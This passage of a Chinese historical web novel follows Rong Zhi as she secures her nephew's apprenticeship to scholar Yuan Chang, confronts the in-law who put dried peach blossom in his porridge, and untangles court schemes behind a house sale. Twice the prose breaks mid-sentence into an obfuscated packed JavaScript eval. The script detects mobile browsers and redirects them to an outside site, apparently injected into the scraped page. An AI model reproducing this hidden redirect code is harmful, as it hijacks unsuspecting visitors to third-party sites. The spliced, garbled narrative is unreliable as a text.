阿桔握起拳头，“没想到是三夫人！可她为何要害乘哥儿？” 这时，袁府门房小厮来敲马车，说袁先生已在正堂等候。 容芝吩咐阿桔带虞次去买药，而后，脱掉了游乘的鞋袜，在足背的下痢穴按压，左右各十次，“好些么？” 游乘咬牙点了点头，“大伯母，乘儿可以的。” “乖，”容芝牵他下马车，忐忑地跟着小厮进了袁府。 一不留神，游乘被门槛绊住。 正要摔下去，有人冲来抓住游乘的手臂，是一位年长些的小子。 “小心！”那小公子眉眼周正，腰间佩一块顶好的缺口白玉玦，另一侧的腰牌上刻着“刘”字。 容芝知道，这位是都察院左御史刘家的嫡幼子，刘与之。原著中，这二人相识在乡试第一场。 10. 拜师（3） 回廊之后，袁敞穿素雅青衫，立在低檐下不苟言笑的模样，完全符合容芝对古代文人雅士的想象，只是，与他站在一起的袁夫人世俗气多了些，却也更为有趣。 “快来快来！”袁夫人冲容芝母子俩招手。 容芝牵着游乘，到底走不快。孩子身子不适，脚步未免虚浮，刚踏上石阶，还没来得及给袁敞行礼，一脑袋栽倒在袁敞脚边。 “哥儿这是怎么了？”袁夫人抱起孩子，揉揉他的小脸。 游乘拨浪鼓似的摇头，“乘儿没事的，乘儿可以！”说着他下地，要给袁敞行礼，却被袁敞的胳膊拦住。 袁敞竟直接将游乘抱起来，“虚礼免了吧！” 又回头对容芝说；“孩子先交给我，我与他详谈？” 容芝点头：“自然，先生自便。” 游乘趴在袁敞，皱着稚气的眉，容芝挥了挥手，他才转过了身去。 等在正堂时，容芝喝了两壶茶，吃了两回糕果，仍不见游乘出来。 倒是门房来传，说门前有游家丫鬟找。 买药的人回来了，容芝仓皇起身，“袁夫人先坐，妾身去看看。” 阿桔还是扮男装，与虞次站在一处，见容芝出府门，赶紧奉上药瓮，“按医嘱，我已用沸水冲泡好，让乘哥儿服下即可。” 可是怎么送进去？ 容芝是女眷，身份不便，虞次又是练家子，唯恐一句不对冲撞袁敞。正当为难，她从回廊经过，听见几个孩童在小花园打闹，望过去，石桌边还坐着个安安静静的小人。 “那不是刚才的小公子么？”阿桔眼尖认出来。 容芝介绍说，“他是都察院左御史刘家的嫡幼子，刘与之。” 与此同时，回廊那边笑声不迭。 “你们知道么？今日来见先生的小子，是游家人，还是个庶孙。” “难怪！听说他一见先生就行了趴伏大礼！哈哈哈——” “炒盐豆（1）一样！” 小儿们的嬉笑落在耳中，阿桔狠狠捏拳，虞次要提刀上去。 容芝只说，“看，有人出面了。” 但见刘与之起了身，一个回手，书册正中为首起哄的小儿面门。 那孩子吓哭，捂脸后退，大喊：“师娘快来！刘与之他又以大欺小！” 被唤作师娘的袁夫人此刻在正堂瞌睡打盹，没能赶来主持公道。 刘与之瞪那撒泼小儿，“给我把书捡回来。” 小儿乖乖照做，嘴上不服，“刘与之你就会仗势欺人！等哪天你爹倒台，看谁还惯你！” 刘与之接过书继续翻，对这番挑衅充耳不闻。 阿桔不由笑出声，引得刘与之抬头看了过来。 对视之下，容芝浅浅作揖，“见过刘小公子。” 刘与之收起书册走到容芝面前，六岁的孩子还不及她肩高，同样作揖，“见过夫人，您这药……可是给游乘的？” 容芝说，“不知，公子方不方便代劳？” 刘与之将书别在了腰后，“您客气，当然可以。” 望着他进里间的背影，阿桔忽然说：“夫人，这院里的小孩都不简单，刘与之会不会把药扔了？” 容芝颇有把握，“他不会的。”原著中，刘与之和游乘在乡试第一场相识，此后多年，二人一同入仕，至死都是挚友。 阿桔仍不放心，“可他爹刘钦是咱家侯爷的死敌，谁知这小子是不是阴奉阳违？” 虞次拱手，“需要我跟上看看吗？” 容芝说，“不必，一罐子药罢了，正好也探探这孩子的心。再则，今日由刘与之送药给乘哥儿，日后乘哥儿在此就不会受欺负了。” “原来！”阿桔和虞次相视而笑，目光一触即离。 主仆三人回去正堂等。 过不多时，刘与之过来给袁夫人行礼，再到容芝面前回话，“药送到了。” 容芝问：“他还好么？” 刘与之答：“先生的问题，他都答得上来，先生应是满意他的。” 容芝起身，“今日多谢小公子。” 刘与之还欲说什么，看向里间门的目光一滞，果然，游乘由袁敞抱着走出来。 “先生劳累了！”容芝示意虞次上前接过游乘。 孩子喝了药，面色不似刚才那样惨白，小声喊道，“大伯母。” 容芝摸摸孩子的脸，便听袁敞大笑起来。 袁敞捋着胡须，“夫人对这侄子，倒是有心，不过，往后怕还要麻烦夫人，为你侄子准备一份束脩。” 容芝说，“束脩？妾身带了，带了。”忙把钱袋子送上。 打盹的袁夫人醒了，见此上来推辞，“哪能要你的钱？” 袁敞也笑道：“我家夫人所言极是，关于昨夜之事……多亏有你。” 家丑不可外扬，点到即止。容芝心领神会，与袁夫人交换一个笑脸。 袁夫人吩咐泡壶新茶。由容芝倒茶，再由游乘端茶敬给袁敞，这拜师礼便成了。 游乘刚从地上起来，有门房小厮来报，说：“游家媳妇求见。” 还能是谁。 容芝对游乘招手，把孩子牵在手里，这才察觉到他在发抖。怕自家母亲怕成这样，也算稀世罕见了。 “哥儿，大伯母在，不怕，”容芝抱紧游乘，看向上首的袁敞夫妻。 先生摆摆手回了里间，留下袁夫人回那门房小厮，“谁缺她那一千两么？就跟她说，她求的事，没机会。” 游怜山的双环玉找不见了。 一回东园，就有丫鬟慌里慌张给容芝跪下。 容芝到枕边，说我放在这底下的。可是掀开找，也压根没有。 “会不会掉在床下？底下有暗格吗？”阿桔举着烛台，伸手进去扒拉。 游怜山进门的时候，看到主仆俩趴在地上，便问在找什么。容芝拍拍阿桔，两人一同起了身。容芝说阿桔脸上脏了快去洗洗，阿桔赶紧给游怜山福完礼，一溜烟消失在门口。 容芝这才打量起游怜山的新官服，以及游怜山含笑的面色。虽说工部员外郎比钦天监监正的品级低了半阶，但游怜山是当作赚了的。 “你在找它吧？”游怜山掏出他的双环玉。 乌龙闹大了，东西在主人身上，还轮得着她惦记下落？ 容芝一阵面羞，狡辩道，“它是你的，我找它做什么？” 此事轻轻翻过去，游怜山自己倒水喝，说道：“那坍塌案有新进展。” 容芝坐在他身边，看着他，“怎么呢？” 游怜山叹了一声，“据说，刑部拿到新的贪墨信证，礼部左侍郎……要被处死了。” 容芝脑中空了一瞬，“新的信证？” 游怜山放下茶杯，“嗯”了声。 阿桔又进来，端了一盆热水，拿起帕巾，请容芝净手净面。 容芝沉默着，慢慢洗了手，说让阿桔先出去，她困了。 余哥儿在床上嚎了一嗓子，容芝回神，脱鞋躺下来，拍着余哥儿的背，闭起眼睛。 黑暗中，她听阿桔问游怜山，“大爷睡榻？” 游怜山说，“哦，最近我腰不舒服，就喜欢睡硬榻。” 没一会，屋门关上，没了动静。 长夜漫漫，容芝根本睡不着，满脑子都是游怜山的那句——刑部拿到新证据礼部左侍郎要被处死了。她还想起卖给袁家的五进大宅子，这才刚办完手续，案子就爆出新证据……很难不让她怀疑，这些证据和工部尚书谢家的宅子没关系。 隔天，游怜山早早离家去了工部衙门。 容芝抱着游余，再拿上游怜山批注的书局账目，也出了门。 在府门前，阿桔抱走容芝，说游乘已经在马车里了。 容芝正要上车，碰上周氏从府门里出来。 周氏抱着一口妆匣，低头走路，连声叹气。 身旁的丫鬟问周氏：“这些，夫人都要卖？” 周氏没抬头，“当然要卖，我绝不能让容芝赢过我，也绝不能让二爷丢脸。我的乘哥儿啊……呜呜——” 阿桔皱起眉，“怎么还哭上了？” 容芝按住阿桔，上前叫了声“二弟妹”。 周氏的眼下黑青比前几日更明显，“大嫂又要去书局？” 容芝看看手上的账本，说，“你大哥帮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15994848|178126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我提了几条建议，或许来年书局要重新部署，我今日找老周掌柜商量一下。” 周氏点点头，“那大嫂慢走。” 容芝愣在原地，看周氏上了马车，心中竟有一丝难过。 “可怜之人，必有可恨之处，”阿桔的话拉回容芝的思绪。 容芝握紧手中的账本，“你说的对。” 将游乘送去袁府，再回书局与老周简单沟通。老周是懂生意的人，能看懂游怜山的账本批注，许诺尽快理出新一年的计划。 “你慢慢来，”容芝叮嘱老周，看见那账本的时候便感到心痛。 礼部左侍郎快死了。 事情到此，她必须去千家胡同找到尔惑问清楚，买卖宅子的背后是否真如她所想，有什么不可见光的交易。而她自己，是否成了尔惑这盘棋上的棋子？ 虞次说马夫喝酒睡着了，由他帮夫人赶车。 容芝瞧着他，猜到他是游怜山安插的眼线，但游怜山应没坏心。 “那就麻烦你。” “夫人客气。” 一行人到千家胡同口，当头的茶庄门前有几面招幌，迎风更显破烂。 而它旁边的另一家铺子更是冷冷清清，几乎半关着门。 虞次望着门店名，问道，“夫人来此见谁？男的，女的？” 阿桔闻言兜头给他一拳，“主人家的事，能打听吗？你是大爷身边的人，竟不懂规矩？” 虞次立刻赔礼，“谢阿桔提醒，我不问了。” 一番闹腾，容芝抱着游余，推门进去。 虞次也要跟着进，被阿桔拉住，她又瞪了他一眼。 虞次只好停住，对前面的容芝道，“夫人小心，我与阿桔姑娘在门外等，您有事就喊！” 容芝没回头，她知道自己很安全，因为她对尔惑还有利用价值。 这间房牙行的店前不大，除了正脸柜台，两侧各有一桌四椅，再往后，是一道深色的门帘，不透光。 门帘后，命生走出来，拱手说：“尔惑先生在等夫人。” 她随这剑士去后间，显出另一番宽阔天地，山水桥亭俱全。 尔惑坐在亭下，抚琴，还戴着半张银面具。 见容芝进来，尔惑给容芝倒了茶，“大夫人。” 容芝看也没看，开门见山问他：“工部尚书谢家的宅子藏有礼部贪墨的证据？所以，你着急送宅给袁家，把搜出的书信变成刑部袁至诚的刀，扎在礼部左侍郎的身上？” 尔惑握着茶杯的指节微白，顿了顿说：“夫人聪明。” 倏地，容芝感到脸发烫。 她把房牙腰牌砸在桌上，“所以，你在利用我？” 尔惑看了眼腰牌，翻到正面，露出“谷之”二字，笑道：“可是，袁敞收你家孩子为学生，夫人得到了想要的，怎么能说是利用？” 容芝推开那腰牌，它直直飞向尔惑的面具，相撞时，哐啷一声脆响。 她撑着桌沿站起，“……我早该想到！先生手眼通天，宁愿自己赔银也要把宅送给袁家，背后又怎会没有勾当？不错，我是得了我要的，可也因为此事，我家乘哥儿被人喂桃花粥，腹泻不止，差点误了昨日与袁敞的见面！现在我变成众矢之的，被人记恨，你却安然躲在面具后，吃茶、抚琴？” 话音落下，尔惑看向她，不答反问：“谁记恨你？” 容芝说：“礼部尚书、内阁首辅，李经章。” 尔惑靠在椅上，片刻才喃道，“……不可能。对付你这小人物，何至于他亲自出手。” 一句话刺到容芝的痛，她怒道：“对，我就是小人物！李经章不用亲自出手，出手的是他的嫡长女李襄，我侯府的三弟妹！” 这下尔惑终是了然，喝了口茶，“她啊。” 容芝看不得他的不在乎，“为何你这副表情？” 尔惑只笑，“若是她出手，便不是李经章的主意。夫人自己想想，那李经章能做到首辅，居然如此沉不住气？” 若那碗桃花粥非李经章的授意，是誰指使三房李襄，对游乘下手？ 正当容芝疑惑，尔惑说：“大夫人不妨静等？这次没成，必有后手。” 11. 清算二房、三房 三房住西园，不知是否因为此处少有光照，外墙爬满油油的苔藓。 阿桔上前敲门。容芝站在她身后不远，忽觉寒气涌过，忙拢了拢肩上披风。 “见过大夫人，”一身素衣的丫鬟出来给容芝福了礼。 阿桔曾说，最好的同乡朋友阿雪在三房伺候，想必就是这位。 容芝浅笑，递上外买来的茶叶包，“有劳阿雪带路。” 阿雪眼角挂着泪，躬身引路，说道：“您快去看看三夫人，她也染了风寒，却不肯喝药，从早晨送走乘哥儿，就一直在抄经。” 容芝走在阿雪身后，保持沉默。这趟来三房原是为探李氏的底，可现在李氏染了病，她还能狠下心质问李氏吗？ “大夫人自己进去吧，奴婢泡茶来，”阿雪擦了把泪退下。 容芝让阿桔等在门外，独自推开了虚掩的屋门，扑面而来的是焚香的气息，隐约夹杂有桃花的香气，让容芝捏紧了掌心。 烛台处的案几边，坐着清瘦的李氏。 此女不愧上京首辅的嫡长女，她仪态端雅，仅仅低眸抄经亦有文人风骨。她与二房李氏是绝不像的。任谁见了李氏，也想象不出她是背地里害人的毒妇。 思索间，容芝到了李氏身侧，盯着她左腕的木佛珠，没留心自己纤细的影子映在了李氏抄经的纸上。 李氏抬头看了看，忙起身福礼，“大嫂何时来了？” 容芝握她的手腕，“听说你病了，咱们坐着说。” 李氏收拾案上佛经，把笔墨纸拢到一旁，“太乱，让大嫂见笑。” 容芝帮她拿镇纸，这才留意它竟是粉玉做的，不免愣了下，“这镇纸真别致，是三弟送的吧？” 李氏把那镇纸塞到佛经底下，耳尖透红竟害羞起来。 容芝立刻想到侯府的三爷游怜钊，那游怜钊虽是庶出，却是正经的堂官——刑部主事。不过，他去年往北面办案，已快一年不回家。 李氏咳了一阵，阿雪进来奉茶，给李氏抚背时眼泪盈盈。 容芝吩咐阿雪端药来，阿雪低着头没敢应，等李氏松了口，阿雪取来药碗和几枚蜜饯。 “人病了，该喝药就得喝，”容芝亲自给李氏喂蜜饯。 李氏把脑袋垂得更低，“……谢谢大嫂。” 容芝也尝尝那蜜饯，不甜，显酸，忙喝了口茶，“我把乘哥儿从袁家带回来了，你就不想问问，他今日在袁家表现如何？” 李氏仍垂头，指节拂过桌案角落里的抄经文，“他肯定很好。” 容芝一把摁住她的手背，看着她的眼睛，“弟妹，告诉我！为何在乘哥儿的粥里加干桃花，害他腹泻？” 沉默蔓延，李氏身子颤抖，一下别开了眼，“哥儿他……严重吗？” 容芝加重手劲，“说，是不是李家逼你的？” 李氏依旧不开口，只皱眉挣扎，把手抽了回去，“想来，哥儿的拜师还是顺利过关了。至于那碗粥里的干桃花，如果大嫂觉得是我错了，要惩戒我，我没有怨言。” “别这样说话，仿佛是我冤枉了你！李襄，你究竟对我有何仇怨？” “……私怨，”李氏说，“我见大嫂身边有乘哥儿和余哥儿，还被大哥百般疼爱，所以，我嫉妒了。” 容芝却不信，李氏素日专心礼佛，几时把凡尘俗缘看入眼中。 她知道李氏没讲实话，“李襄，到底誰在逼你？” “没人，”李氏冷道。 看她一副咬死的架势，容芝只能作罢，如果真惹急了李氏，还不知会招致什么防不胜防的可怕后手。 容芝尽量把语气软下来，“母亲对乘哥儿拜师一事上心，若你所行之恶被告发到母亲耳朵里，后果必不好看。所幸，乘哥儿只受些身体之痛，拜师没受影响。” 李氏一听这话，忙额头贴地跪了，“是我错了，任凭大嫂处置。” 容芝瞧着脚边小小一团的李氏，想再给李氏一次机会，“惩戒自不会少，却只是其次。若你真心忏悔，告诉我背后之人，可好？只要你讲出来，许诺没有下次，我可以帮你隐下那碗桃花粥。” 李氏不肯起身，只说：“我已认识到所犯之错，明日就去寒山寺斋戒、思过，每日抄《金刚萨埵百字明》一百零八遍，抄满三年十万遍，才敢下山来。” 她确实可恨，可照此处罚也过重了。 容芝扶她起来，“该怎么罚你，去哪儿思过，不是我一人能决定。你自己找母亲，将事情说清楚。” 更深露重，司宁侯府门前有马车停下。 门房小厮提灯笼迎上，恭敬唤道：“二夫人！” 周氏回说：“这般晚，大家辛苦。” 说着，让丫鬟给小厮一份碎银，那小厮立刻笑道，“二夫人有好事？” 丫鬟说，“二夫人干成了好大一件事！跟你说了，你也不懂！” 周氏走在灯笼光里，面上笑意不止。 门房小厮引主仆俩进了府门，关门时小声嘀咕，“府上最近倒好事不断，听说，大夫人帮乘哥儿拜在了袁敞先生门下。” 周氏一顿，猛地扽住门杠子，“你说什么？！” 小厮说：“二夫人不知道么？乘哥儿如今去袁敞先生家读书了。” 另一个小厮也凑来，“不过，此事难评。咱家老侯爷与袁家是政敌，虽拜师对乘哥儿将来科举有益，也狠打了老侯爷的脸嘛！还不知老侯爷怎质问大房。” 周氏又感到地塌了。 她卖首饰、卖嫁妆，好不容易才凑齐一千两，就想着明日一早找袁夫人引荐，可是，可是，大房容芝抢在她前面，把拜师难题解决了，让她所有的努力变成笑话。 头晕目眩中，身后又有马车停下。 “夫人在等我吗？”游怜山从后揽住周氏发抖的肩。 “我对不住二爷……”周氏紧紧抱住游怜泉，哭道：“我没本事留住乘哥儿，也再生不了了。二爷，我好大的错啊！” 游怜泉愣了瞬，轻抹去她的泪，“我送你去邻城田庄静养几个月，好不好？” 周氏捧着那一千两银票，直摇头，“此次我输了，可我不要躲起来。” 游怜泉不勉强她，只弯腰横抱起她，“等着吧，乘哥儿拜师袁敞，此事，还没完。” 再过几日便到年节。 三爷、四爷和老侯爷都不在家，饭桌上自是难以热闹起来。 容芝坐在婆母邓氏左侧，见邓氏正黯然神伤，眼神示意奶娘抱游余过来。已两月大的小子，鼓着亮晶晶的大眼睛，对邓氏眨巴眨巴，立刻逗得邓氏笑出了声。 邓氏亲游余的额头，“多可人的孩子，当初阿怜出生也是这般可人，转眼就做了别人的父亲。”边说，目光边转向游怜山。 “母亲，”游怜山起身，手上牵着一身新袄的游乘。 “祖母新年好！”游乘去袁家读书之后，性子开朗了不少，今日他难得不认生，竟走到邓氏面前，与邓氏凑近耳语，“孙儿祝您四时常笑，五福安康。”说完还在邓氏的脸颊亲了亲。 邓氏拍拍游乘红扑扑的小脸，催着贞嬷嬷去拿压祟钱。那以红线穿成的铜板，其实无实际的经济意义，起驱邪之用罢了。游乘拿到一串，游余自然也有。 这一幕落在二房李氏眼里，像刺，直扎得她低头抹泪。 “帮乘哥儿拜师的比试，该有定论了。既然是长房赢，以后乘哥儿由容芝教养，”邓氏宣布道。 周氏的眼里扎进了第二根刺，她承受不起，不管不顾，哭着离了席，幸而有游怜泉追了上去。 众人才收回目光，邓氏又发了话。 她说这事只怪李氏自己，“早知今日，当初何必苛待乘哥儿？” 容芝握了握邓氏的手，“母亲说的对，世上没后悔药，做了什么事就要承担其后果。” 被点到鼻子上的是三房李氏。 那妇人立刻转向婆母邓氏，低声道：“儿媳在寒山寺新求了一块长寿玉，要献给母亲。” 邓氏被带到花厅说话，再回来时告诉容芝，李氏要去寒山寺住一段。 至于李氏有无讲桃花粥的故事，容芝反而看淡。李氏嫁入游家，本就不是自愿，还与夫君游怜钊聚少离多。大约，李氏在这家里没高兴过一天，暂时离开，于她而言，或许更自由更开心。 容芝又给邓氏满一杯茶，笑道：“三弟妹一心向佛，这决定蛮好的。” 邓氏看着她，“二郎说，周氏要搬去田庄，这李氏，也要搬入寺中，往后家里只有你能担事儿了。” 容芝端起自己的茶杯，以清水代茶，“母亲。” 邓氏压下她的茶，“还有书局那边，我已看过老周掌柜的新年规划。你想缩减偏门书目，增加科举策论选集？” 容芝拉过游怜山，“儿媳哪懂这些？其实是大爷帮儿媳拿的主意。” 游怜山被夸得面红，却对邓氏说，“母亲以为那计划如何？” 邓氏故作叹气，“这……既是阿怜的主意，我自当全力支持。” 容芝与游怜山一同道，“谢谢母亲。” 两辈三人正说笑，游怜泉自门外进来，神色竟是说不上来的疲惫。 他向游怜山借了容芝去院中说话，先说起周氏，“明日我会亲自送她去田庄，有女儿游宜陪着，她日子也好过，但愿她幡然悔悟，好好对待孩子。” 容芝已知道游怜泉的决定，不讲旁的，只说田庄清冷，让游怜泉多给周氏备些被褥、厚衣，“等天暖，我带乘哥儿去看她。” 游怜泉长叹，又说起游乘，“他生母没了，也没得到周氏半点疼爱，幸而他遇到大嫂。大嫂愿意疼他爱他，我心里也稍微轻松些。” 容芝看他肩膀一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15994849|178126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颤一颤，知他是真心悔恨，“反正我还是那话，乘哥儿永远是你儿子。但，他除了是你儿子，更是游家长孙，来日要担起整个侯府的荣辱大责。我现在对他好，也盼沾他的光，受他照顾嘛！” 游怜泉深深躬身，“谢大嫂不计前嫌，大人大量。” 去田庄就在明日，行装再简单也要收拾。容芝让游怜泉回南园照看周氏，与阿桔在回廊里坐了会儿。 寒夜冷风，她耸耸鼻子，闻到梅花的香味。 回头，是游怜山带来几支艳红的腊梅，塞到了她的手里。 阿桔自觉退下。 游怜山坐在容芝身侧，为她挡去风口，问她是否还想着礼部左侍郎被处斩的事儿。 心思被他猜中，容芝不再隐瞒，“我虽知那人贪墨有罪，可他死，终究与我有关。” 游怜山不同意，“他死是因为有罪，与你何关？” 容芝看着他。 游怜山继续道，“来我帮你捋一捋！首先，修缮款被贪，导致宫殿榻，这是礼部、工部合谋的罪果；再有，工部手握礼部的罪证，就算没你这号人物参与卖宅，难道没有别的途径揭发？在这件事里，那袁敞和袁夫人，怕和你一样被蒙鼓里。” 容芝想起那对夫妻，眼泪顿时忍不住，“好吧我告诉你，谷之房牙行的老板，是男的。” 游怜山仰头笑，“嗯，早猜到了。你是颜控嘛，喜欢看帅哥嘛！” 容芝压他的下巴，皱起眉，“说正事呢！” 游怜山反握她的手，“手这么冷。” 顺势将她整个人圈住，他问她，“愿不愿细说说，你那房牙老板到底是谁？” 这问题容芝答不出，“见面他会戴面具，但我确定他不简单，可能是皇子。” “皇子啊？”游怜山掰着她的手指，与她分析。 宫里拿得出手的皇子，一共三个。 大皇子炎序，如果还活着，今年二十五岁，但他死在了十二岁。 容芝记得原著有这一段介绍，“但炎序怎么殁的，原著减省了。” 游怜山说，“这事我知道点，前太子炎序是被皇帝活活鞭抽死的……” 身上发冷，容芝打起冷战，脑中嗡地一声。半晌，她仍不敢信，“真？假？亲父子这么狗血？” 游怜山说这不稀奇吧，“我二弟妹周氏怎么虐待游乘，你忘了？” 容芝哪里敢忘，只说不敢多想，“行，那除了早殁的前太子，还有二皇子炎准，三皇子炎仲。” 游怜山补充，“炎准现在是太子，对了，那房牙老板叫什么？” 容芝不用想，“尔惑。” 游怜山惊讶，“他是隐居寒山寺的画师，尔惑？” 容芝：“是他。” 游怜山松开容芝，站起身，来回踱步，“尔惑此人的存在，是二房周氏告诉你的，难道此人与二弟有关？” 容芝的大脑运转起来，“不是吧？游怜泉不像心重之人，该不是这盘棋的执棋人。哦，还有件事，前日我在李氏的案上见到一枚粉玉镇纸，与她平日的器物不太一样。李氏也常常跑寒山寺，会不会与她有关？” 游怜山摆摆手，“那更不对！李氏是李经章的嫡女，李经章怎么可能利用尔惑，对自己礼部的人下刀。” 容芝眼前一亮，有了重大结论，“所以，尔惑是李经章的政敌！” 游怜山附和，“没错，尔惑也是我爹游仁泰的政敌。” 两人异口同声，“他是刑部尚书袁至诚的人。” 目光相撞，容芝醒了神，清清嗓子，“尔惑此人太危险，若被你爹知道是我坏事，你我在游府的处境更难。” 游怜山倒不怕，“我万事靠自己，有爹没爹，没区别。” 容芝能理解他的辛酸，“可他毕竟是你爹。” 游怜山拍拍胸脯，“我有分寸。但是尔惑那边，你别急着断。他的手段阴险，但他揪出了宫殿坍塌案的祸首，也还算有良心。” 容芝认同这一点，“他设计买宅一事，送工部尚书近三万银，这才拿到信证，告倒礼部左侍郎，是在拨乱反正。” 游怜山重新看向她，“那你现在，放下那礼部左侍郎的死了么？” 容芝不知如何回答，“我……” 蓦地，她被游怜山抱住，听他说：“这些扯淡的朝局，又无聊，又血腥！没劲！我明日开始休沐五天，不如带你出门散心？” 容芝一向跟不上他的天马行空，“又瞎说。我俩走了孩子怎办？” 游怜山说：“请贞嬷嬷照看。就我俩出门，定好了。” 三房，西园。 李氏正收拾前往寒山寺的行装，最珍爱的粉玉镇纸却被人拈了起来。 抬头，面前是个蓄络腮胡的中年人。 李氏让丫鬟退下，福礼，喊了声，“二叔。” 12. 父子情尽 “你还记得自己姓李，还记得我是你长辈？” 李氏整个人被掼到墙上，一双大手掐住她的脖子，使她喘不过气。 这追到家中行凶的李经资对亲侄女，毫不怜惜，他掐得李襄面颊涨红，手脚停止挣扎，才大发慈悲似的松开了李襄。 本就瘦弱的李襄跌坐在地，双眼通红，鬓发散乱，惧怕地抽噎道：“襄儿没完成二叔嘱托，襄儿错了。” “唉……”李经资冷笑蹲在她面前，挑起她的下颌，让她看着自己的眼睛，“你说说你，何苦把自己逼成这样？一副毒药倒进粥里，将游乘那野种毒死，不完事了？” 李氏泪滚满面，怯怯道，“此事是襄儿没用，耽误二叔大计，襄儿甘愿受罚。” 李经资替她抹泪，将她从地上扶起，“我的襄儿啊！二叔何尝不明白你的苦，不心疼你？游怜钊一介庶子，凭何能娶到你一个高门嫡女？这事论起来，还是二叔害了你……二叔该给你赔罪啊。” 李氏蓦地一愣，忙拉住要给她磕头的李经资，“二叔要折煞襄儿，这万万不能。” 李经资的头磕到一半就停下。 他抬眼看着李襄，仍叹长气，“来游家这几年，委屈你了。你为了李家、为了殿下做的所有，都记在二叔心里，更记在殿下心里。这不？殿下听闻襄儿明日要去寒山寺抄经思过，特让我将此礼转交到襄儿手里。” 只见他从袖中拿出一枚雕花镶金的扁长盒，李襄打开一看，里面躺着一支仿唐缠纸鸡距笔，它半尺长，笔杆圆润，握在掌心感觉就像握着那人的玉指。 “请二叔替襄儿谢谢殿下。” 李襄一头扎地，行了跪礼，她的声线不再发抖，像受了那笔的莫大鼓励，只有些话，她今日是一定要说出来的，“此回襄儿去寒山寺悔过，三五年不得下山，恐怕无法再接近容氏的两个孩子。襄儿这些难，也请二叔一并上陈殿下。” 李经资再扶起她，面上终是有笑，“襄儿从小与殿下的情谊，殿下也不敢忘怀啊。碍于宫闱，殿下无法如从前一般随时见襄儿，可殿下没有一日不思念襄儿……殿下说了，或许哪日殿下挨不住，会去寺中找襄儿！襄儿再坚持坚持，好不好？” 子时，窗外夜空炸开烟火。 阿雪被吵醒，揉揉睡眼，但见窗下倚坐一女子，手握仿唐笔与玉镇纸，不知在笑在哭。 走近，这果然是李氏。 “二夫人想二爷了？您莫哭，二爷定会早回京的！”阿雪紧抱李氏。 李氏又笑了一声，什么都没答。 年初一大清早，司宁侯府接连送走了两架马车。 其一是二房周氏，另一是三房李氏。 被留下的嫡长媳容芝在门前站了许久，久久不语。直到怀中的婴孩伸出小手碰她的下颌，她才低头看向婴孩，笑问道：“你又饿了呀？” 婴孩扑扇大眼，似在与母亲对话。 “我二弟弟愈发能吃了，”游乘如今胆子变大，也敢埋汰亲近之人。 “夫人息怒，他还是孩子，”游怜山来不及捂他嘴，向一脸无言的容芝干笑。 容芝说哪会计较，“我只觉得，孩子以后要少与你接触，以免越来越像你。” 游怜山问：“还生气昨晚之事？” 容芝答：“我不敢生气。” 昨晚他霸道定下五日之游，容芝以为他不过说说，可她一觉醒来才知他已找婆母邓氏说明计划。邓氏体恤他们夫妻，连夜张罗了城郊的别业（1），还亲自准备了充足的行装。 这会儿，贞嬷嬷从正院带话来，让他俩将游乘与游余交给管家，即可直接出府游玩了。 “今儿年初一啊，不宜出门吧？”容芝被推上马车时仍在犯疑心病。 游怜山交代虞次加紧赶路，转头，递给她一本厚书册，“我爹不在，母亲同意便没问题。” 翻开画册，里面的一幅幅小画全是样貌清俊的男子，全戴着面具。 容芝不由疑惑，“从哪儿弄来的这种东西？” 游怜山说：“这几天只有虞次陪同护卫，但他会耳聋眼瞎的，你可以尽量放松。可惜，这里没有制作手机的条件，只能委屈小芝将就看看画册。” “……你好有心啊！”容芝放下那画册，半转身闭起眼，不爱搭理他。 正养神，马车后似有人追来，马蹄声急促。 容芝见是侯府管家郑叔，担心是俩孩子出事，忙让虞次勒马停车。 游怜山下车，听管家郑叔说：“老侯爷回府了，请您二位回去一见。” 容芝趴在侧窗，对郑叔说，“明白了，这就回府。” 来到正院门外，贞嬷嬷牵着游乘来，提醒夫妻俩小心些。 一听此言，容芝和游怜山互相看一眼，没多问也大抵都想到，游仁泰要说的必与前日游乘拜师袁家有关。 游怜山是不怕事的，“就等老头儿问，今天算等来了。” 而他所讲，也是容芝所想。 “慢着，”贞嬷嬷把游乘的手交给游怜山，“这孩子去袁家后长进不少，大爷带上他，会有益处。” 容芝不敢牵连孩子。 游乘却用另一只手牵住她，“大伯母，乘儿不想躲，要一起见祖父。” “可是……” “孩子愿意承担责任，我们当然要给机会，”游怜山轻带容芝的肩，一家三口进了正堂。 长房夫妻先给父亲游仁泰行礼、请安，接着，轮到孙辈游乘。 “天寒地冻，你免了吧，”游仁泰板着脸孔，语气不耐。 邓氏坐在游仁泰身边，原是垂着眸，这时看向游仁泰，小声道，“孩子们在，你忍忍你那暴脾气？还在年节上，让乘哥儿给你拜个年，我看，挺好的。” 游仁泰到底在意邓氏，便扯扯嘴角，受下了游乘的拜年贺词。 “近来在袁敞家中读书，一切能否适应？”游仁泰压着嗓子问话。 游乘回道：“回祖父，孙儿跟随先生学习才半月，已见识先生的广博才识，日后必加倍努力，早成栋梁。” 话音未落，游仁泰面前的茶杯cei了，裂在地上，飞溅满屋。 离最近的邓氏吓了一声，捂住脸，再看，她的素帕上染了点红，细眉凝成一团。可她更怕游乘受惊吓，便一下冲到游乘跟前，将浑身绷紧的孩子抱起来，“侯爷做什么吓唬孩子？” 